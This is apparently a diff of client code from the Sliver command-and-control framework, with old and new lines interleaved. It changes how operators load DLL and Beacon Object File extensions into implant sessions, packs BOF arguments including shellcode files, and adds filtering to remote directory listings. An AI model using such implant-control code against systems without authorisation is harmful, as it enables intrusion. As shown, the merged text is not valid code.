Files []extensionFiles `json:"extFiles"`
|
||||
Arguments []extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"dependsOn"`
|
||||
Init string `json:"init"`
|
||||
Path string
|
||||
}
|
||||
type binFiles struct {
|
||||
Ext64Path string `json:"x64"`
|
||||
Ext32Path string `json:"x86"`
|
||||
}
|
||||
|
||||
type extFile struct {
|
||||
type extensionFiles struct {
|
||||
OS string `json:"os"`
|
||||
Files binFiles `json:"files"`
|
||||
}
|
||||
|
||||
type extensionCommand struct {
|
||||
Name string `json:"name"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"longHelp"`
|
||||
AllowArgs bool `json:"allowArgs"`
|
||||
DefaultArgs string `json:"defaultArgs"`
|
||||
ExtensionFiles []extFile `json:"extFiles"`
|
||||
IsReflective bool `json:"isReflective"`
|
||||
IsAssembly bool `json:"IsAssembly"`
|
||||
type extensionArgument struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Desc string `json:"desc"`
|
||||
Optional bool `json:"optional"`
|
||||
}
|
||||
|
||||
func (ec *extensionCommand) getDefaultProcess(targetOS string) (proc string, err error) {
|
||||
proc, ok := defaultHostProc[targetOS]
|
||||
if !ok {
|
||||
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
type extension struct {
|
||||
Name string `json:"extensionName"`
|
||||
Commands []extensionCommand `json:"extensionCommands"`
|
||||
Path string
|
||||
}
|
||||
|
||||
func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, c := range e.Commands {
|
||||
if cmdName == c.Name {
|
||||
for _, ef := range c.ExtensionFiles {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "x86":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext32Path)
|
||||
case "x64":
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = fmt.Sprintf("%s/%s", e.Path, ef.Files.Ext64Path)
|
||||
}
|
||||
}
|
||||
func (e *extensionCommand) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
|
||||
for _, ef := range e.Files {
|
||||
if targetOS == ef.OS {
|
||||
switch targetArch {
|
||||
case "386":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext32Path)
|
||||
case "amd64":
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
default:
|
||||
filePath = filepath.Join(e.Path, targetOS, targetArch, ef.Files.Ext64Path)
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
if filePath == "" {
|
||||
@@ -110,132 +74,237 @@ func (e *extension) getFileForTarget(cmdName string, targetOS string, targetArch
|
||||
return
|
||||
}
|
||||
|
||||
func (e *extension) getCommandFromName(name string) (extCmd *extensionCommand, err error) {
|
||||
for _, x := range e.Commands {
|
||||
if x.Name == name {
|
||||
extCmd = &x
|
||||
return
|
||||
}
|
||||
}
|
||||
err = fmt.Errorf("no extension command found for name %s", name)
|
||||
return
|
||||
}
|
||||
|
||||
// LoadExtensionCmd - Locally load an extension into the Sliver shell.
|
||||
func LoadExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
|
||||
func LoadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
dirPath := ctx.Args.String("dir-path")
|
||||
if dirPath == "" {
|
||||
con.PrintErrorf("Please provide an extension path\n")
|
||||
extCmds, err := ParseExtensions(dirPath)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
// retrieve extension manifest
|
||||
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
|
||||
for _, extCmd := range extCmds {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, con.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
continue
|
||||
}
|
||||
RegisterExtensionCommand(extCmd, con)
|
||||
con.PrintInfof("Added %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
}
|
||||
}
|
||||
|
||||
func ParseExtensions(extPath string) ([]*extensionCommand, error) {
|
||||
manifestPath := filepath.Join(extPath, "manifest.json")
|
||||
jsonBytes, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return nil, err
|
||||
}
|
||||
// parse it
|
||||
ext := &extension{}
|
||||
err = json.Unmarshal(jsonBytes, ext)
|
||||
extensionsCmds := make([]*extensionCommand, 0)
|
||||
err = json.Unmarshal(jsonBytes, &extensionsCmds)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error loading extension: %v", err)
|
||||
return
|
||||
return nil, err
|
||||
}
|
||||
ext.Path = dirPath
|
||||
// for each extension command, add a new app command
|
||||
for _, extCmd := range ext.Commands {
|
||||
// do not add if the command already exists
|
||||
if cmdExists(extCmd.Name, ctx.App) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.Name)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Adding %s command: %s\n", extCmd.Name, extCmd.Help)
|
||||
|
||||
// Have to use a global map here, as passing the extCmd
|
||||
// either by value or by ref fucks things up
|
||||
commandMap[extCmd.Name] = *ext
|
||||
helpMsg := fmt.Sprintf("[%s] %s", ext.Name, extCmd.Help)
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(extCmd.LongHelp),
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCommand(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
if extCmd.IsAssembly {
|
||||
f.String("m", "method", "", "Optional method (a method is required for a .NET DLL)")
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(extensionCmd)
|
||||
for _, extCmd := range extensionsCmds {
|
||||
extCmd.Path = extPath
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
}
|
||||
con.PrintInfof("%s extension has been loaded\n", ext.Name)
|
||||
return extensionsCmds, nil
|
||||
}
|
||||
|
||||
func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
func RegisterExtensionCommand(extCmd *extensionCommand, con *console.SliverConsoleClient) {
|
||||
commandMap[extCmd.Name] = *extCmd
|
||||
helpMsg := extCmd.Help
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: extCmd.Name,
|
||||
Help: helpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runExtensionCmd(extCtx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
if len(extCmd.Arguments) > 0 {
|
||||
// BOF specific
|
||||
for _, arg := range extCmd.Arguments {
|
||||
var (
|
||||
argFunc func(string, string, ...grumble.ArgOption)
|
||||
defaultValue grumble.ArgOption
|
||||
)
|
||||
switch arg.Type {
|
||||
case "int", "short":
|
||||
argFunc = a.Int
|
||||
defaultValue = grumble.Default(0)
|
||||
case "string", "wstring", "file":
|
||||
argFunc = a.String
|
||||
defaultValue = grumble.Default("")
|
||||
}
|
||||
if arg.Optional {
|
||||
argFunc(arg.Name, arg.Desc, defaultValue)
|
||||
} else {
|
||||
argFunc(arg.Name, arg.Desc)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
a.StringList("arguments", "arguments", grumble.Default([]string{}))
|
||||
}
|
||||
},
|
||||
HelpGroup: consts.ExtensionHelpGroup,
|
||||
}
|
||||
con.App.AddCommand(extensionCmd)
|
||||
}
|
||||
|
||||
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s", err)
|
||||
return
|
||||
}
|
||||
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s", extList.Response.Err)
|
||||
return
|
||||
}
|
||||
if len(extList.Names) > 0 {
|
||||
con.PrintInfof("Loaded extensions:\n")
|
||||
for _, ext := range extList.Names {
|
||||
con.Printf("- %s\n", ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
|
||||
var extensionList []string
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
// Try to find the extension in the loaded extensions
|
||||
if len(session.Extensions) == 0 {
|
||||
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
if extList.Response != nil && extList.Response.Err != "" {
|
||||
return errors.New(extList.Response.Err)
|
||||
}
|
||||
extensionList = extList.Names
|
||||
} else {
|
||||
extensionList = session.Extensions
|
||||
}
|
||||
depLoaded := false
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded && extName == ext.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
if ext.Name == extName {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// Extension not found, let's load it
|
||||
if filepath.Ext(binPath) == ".o" {
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
|
||||
return errRegister
|
||||
}
|
||||
// Update session info
|
||||
if filepath.Ext(binPath) != ".o" {
|
||||
// Don't update session for BOFs, we don't cache them
|
||||
// on the implant side (yet)
|
||||
// update the Session info
|
||||
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
|
||||
Extensions: extensionList,
|
||||
SessionID: session.ID,
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: ext.Name,
|
||||
Data: binData,
|
||||
OS: session.OS,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
return errors.New(registerResp.Response.Err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
|
||||
depExt, f := commandMap[depName]
|
||||
if f {
|
||||
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
depBinData, err := ioutil.ReadFile(depBinPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return registerExtension(con, &depExt, depBinData, session, ctx)
|
||||
}
|
||||
return fmt.Errorf("missing dependency %s", depName)
|
||||
}
|
||||
|
||||
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
callExtension *sliverpb.CallExtension
|
||||
err error
|
||||
extensionArgs []byte
|
||||
extName string
|
||||
entryPoint string
|
||||
)
|
||||
session := con.ActiveSession.GetInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ext, ok := commandMap[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
if err = loadExtension(ctx, session, con, &ext); err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
c, err := ext.getCommandFromName(ctx.Command.Name)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
args := ctx.Args.StringList("arguments")
|
||||
var extArgs string
|
||||
if len(c.DefaultArgs) != 0 && len(args) == 0 {
|
||||
extArgs = c.DefaultArgs
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
entryPoint := c.Entrypoint
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = c.getDefaultProcess(session.GetOS())
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
@@ -245,86 +314,142 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
|
||||
return
|
||||
}
|
||||
}
|
||||
if c.IsAssembly {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
isBOF := filepath.Ext(binPath) == ".o"
|
||||
|
||||
// BOFs (Beacon Object Files) are a specific kind of extensions
|
||||
// that require another extension (a COFF loader) to be present.
|
||||
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
|
||||
// This block will pack both the BOF data and its arguments into a single buffer that
|
||||
// the loader will extract and load.
|
||||
if isBOF {
|
||||
// Beacon Object File -- requires a COFF loader
|
||||
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
con.PrintErrorf("Error: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
} else if c.IsReflective {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: strings.Trim(extArgs, " "),
|
||||
Data: binData,
|
||||
ProcessName: processName,
|
||||
EntryPoint: c.Entrypoint,
|
||||
Kill: true,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
extName = ext.DependsOn
|
||||
entryPoint = commandMap[extName].Entrypoint // should exist at this point
|
||||
} else {
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
Args: extArgs,
|
||||
Data: binData,
|
||||
EntryPoint: entryPoint,
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
// Regular DLL
|
||||
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
|
||||
extensionArgs = []byte(extArgs)
|
||||
extName = ext.Name
|
||||
entryPoint = ext.Entrypoint
|
||||
}
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
|
||||
Name: extName,
|
||||
Export: entryPoint,
|
||||
Args: extensionArgs,
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error: %s\n", err.Error())
|
||||
return
|
||||
}
|
||||
if callExtension.Response != nil && callExtension.Response.Err != "" {
|
||||
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Successfully executed %s\n", extName)
|
||||
if len(callExtension.Output) > 0 {
|
||||
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
outFilePath.Write(callExtension.Output)
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
|
||||
var extensionArgs []byte
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
argsBuffer := BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
// Parse BOF arguments from grumble
|
||||
for _, arg := range ext.Arguments {
|
||||
switch arg.Type {
|
||||
case "int":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddInt(uint32(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "short":
|
||||
val := ctx.Args.Int(arg.Name)
|
||||
err = argsBuffer.AddShort(uint16(val))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "string":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
case "wstring":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
err = argsBuffer.AddWString(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Adding support for filepaths so we can
|
||||
// send binary data like shellcodes to BOFs
|
||||
case "file":
|
||||
val := ctx.Args.String(arg.Name)
|
||||
data, err := ioutil.ReadFile(val)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = argsBuffer.AddData(data)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
parsedArgs, err := argsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
// Now build the extension's argument buffer
|
||||
extensionArgsBuffer := BOFArgsBuffer{
|
||||
Buffer: new(bytes.Buffer),
|
||||
}
|
||||
err = extensionArgsBuffer.AddString(ext.Entrypoint)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(binData)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = extensionArgsBuffer.AddData(parsedArgs)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
extensionArgs, err = extensionArgsBuffer.GetBuffer()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return extensionArgs, nil
|
||||
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
@@ -335,5 +460,66 @@ func cmdExists(name string, app *grumble.App) bool {
|
||||
}
|
||||
|
||||
func init() {
|
||||
commandMap = make(map[string]extension)
|
||||
commandMap = make(map[string]extensionCommand)
|
||||
}
|
||||
|
||||
// BOF Specific code
|
||||
|
||||
type BOFArgsBuffer struct {
|
||||
Buffer *bytes.Buffer
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddData(d []byte) error {
|
||||
dataLen := uint32(len(d))
|
||||
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddShort(d uint16) error {
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddInt(d uint32) error {
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, &d)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddString(d string) error {
|
||||
stringLen := uint32(len(d)) + 1
|
||||
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
dBytes := append([]byte(d), 0x00)
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) AddWString(d string) error {
|
||||
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
|
||||
strBytes := append([]byte(d), 0x00)
|
||||
utf16Data, err := encoder.Bytes(strBytes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
stringLen := uint32(len(utf16Data))
|
||||
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
|
||||
}
|
||||
|
||||
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
|
||||
outBuffer := new(bytes.Buffer)
|
||||
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return outBuffer.Bytes(), nil
|
||||
}
|
||||
@@ -22,8 +22,11 @@ import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"sort"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
@@ -40,6 +43,45 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
}
|
||||
|
||||
remotePath := ctx.Args.String("path")
|
||||
filter := ""
|
||||
|
||||
/*
|
||||
Check to see if the remote path is a filter or contains a filter.
|
||||
If the path passes the test to be a filter, then it is a filter
|
||||
because paths are not valid filters.
|
||||
*/
|
||||
if remotePath != "." {
|
||||
|
||||
// Check if the path contains a filter
|
||||
// Test on a standardized version of the path (change any \ to /)
|
||||
testPath := strings.Replace(remotePath, "\\", "/", -1)
|
||||
/*
|
||||
Cannot use the path or filepath libraries because the OS
|
||||
of the client does not necessarily match the OS of the
|
||||
implant
|
||||
*/
|
||||
lastSeparatorOccurence := strings.LastIndex(testPath, "/")
|
||||
|
||||
if lastSeparatorOccurence == -1 {
|
||||
// Then this is only a filter
|
||||
filter = remotePath
|
||||
remotePath = "."
|
||||
} else {
|
||||
// Then we need to test for a filter on the end of the string
|
||||
|
||||
// The indicies should be the same because we did not change the length of the string
|
||||
baseDir := remotePath[:lastSeparatorOccurence]
|
||||
potentialFilter := remotePath[lastSeparatorOccurence+1:]
|
||||
|
||||
_, err := filepath.Match(potentialFilter, "")
|
||||
|
||||
if err == nil {
|
||||
// Then we have a filter on the end of the path
|
||||
remotePath = baseDir
|
||||
filter = potentialFilter
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
|
||||
Request: con.ActiveSession.Request(ctx),
|
||||
@@ -48,22 +90,92 @@ func LsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
if err != nil {
|
||||
con.PrintWarnf("%s\n", err)
|
||||
} else {
|
||||
PrintLs(ls, con)
|
||||
PrintLs(ls, con, ctx.Flags, filter)
|
||||
}
|
||||
}
|
||||
|
||||
// PrintLs - Display an sliverpb.Ls object
|
||||
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient) {
|
||||
func PrintLs(ls *sliverpb.Ls, con *console.SliverConsoleClient, flags grumble.FlagMap, filter string) {
|
||||
con.Printf("%s\n", ls.Path)
|
||||
con.Printf("%s\n", strings.Repeat("=", len(ls.Path)))
|
||||
|
||||
outputBuf := bytes.NewBufferString("")
|
||||
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
|
||||
for _, fileInfo := range ls.Files {
|
||||
if fileInfo.IsDir {
|
||||
fmt.Fprintf(table, "%s\t<dir>\t\n", fileInfo.Name)
|
||||
|
||||
// Extract the flags
|
||||
reverseSort := flags.Bool("reverse")
|
||||
sortByTime := flags.Bool("modified")
|
||||
sortBySize := flags.Bool("size")
|
||||
|
||||
/*
|
||||
By default, name sorting is case sensitive. Upper case entries come before
|
||||
lower case ones. Instead, we will level the playing field and sort
|
||||
regardless of case
|
||||
*/
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) > strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return strings.ToLower(ls.Files[i].Name) < strings.ToLower(ls.Files[j].Name)
|
||||
})
|
||||
}
|
||||
|
||||
/*
|
||||
After names are sorted properly, take care of the modified time if the
|
||||
user wants to sort by time. Doing this after sorting by name
|
||||
will make the time sorted entries properly sorted by name if times are equal.
|
||||
*/
|
||||
|
||||
if sortByTime {
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime > ls.Files[j].ModTime
|
||||
})
|
||||
} else {
|
||||
fmt.Fprintf(table, "%s\t%s\t\n", fileInfo.Name, util.ByteCountBinary(fileInfo.Size))
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].ModTime < ls.Files[j].ModTime
|
||||
})
|
||||
}
|
||||
} else if sortBySize {
|
||||
if reverseSort {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size > ls.Files[j].Size
|
||||
})
|
||||
} else {
|
||||
sort.SliceStable(ls.Files, func(i, j int) bool {
|
||||
return ls.Files[i].Size < ls.Files[j].Size
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
for _, fileInfo := range ls.Files {
|
||||
if filter != "" {
|
||||
fileMatch, err := filepath.Match(filter, fileInfo.Name)
|
||||
|
||||
if err != nil {
|
||||
/*
|
||||
This should not happen because we checked the filter
|
